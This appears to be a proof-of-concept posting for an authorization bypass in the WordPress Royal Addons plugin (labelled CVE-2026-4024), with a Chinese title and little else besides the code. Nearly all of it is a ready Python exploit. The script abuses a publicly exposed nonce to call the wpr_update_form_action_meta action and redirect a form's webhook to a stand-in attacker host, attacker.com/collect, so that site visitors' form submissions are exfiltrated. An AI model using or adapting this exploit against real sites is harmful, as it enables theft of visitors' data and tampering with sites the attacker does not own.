CVE-2026-4024 WordPress Royal Addons插件权限绕过漏洞

import requests # Target configuration target_url = "http://example.com/wp-admin/admin-ajax.php" post_id = "123" # ID of a post containing a Royal Addons form attacker_webhook = "http://attacker.com/collect" # Step 1: Get the nonce from the frontend (simulated) # In a real scenario, scrape a page with the widget to find WprConfig.nonce # nonce = "scraped_nonce_value_from_js" nonce = "publicly_exposed_nonce_value" # Step 2: Prepare the payload to modify the form webhook payload = { "action": "wpr_update_form_action_meta", "nonce": nonce, "post_id": post_id, "key": "webhook_url", # Vulnerable meta key in whitelist "value": attacker_webhook } # Step 3: Send the malicious request try: response = requests.post(target_url, data=payload) if response.status_code == 200: print("[+] Exploit successful! Webhook URL updated.") print(f"[+] Data will be exfiltrated to: {attacker_webhook}") else: print("[-] Exploit failed.") print(response.text) except Exception as e: print(f"[Error]: {e}")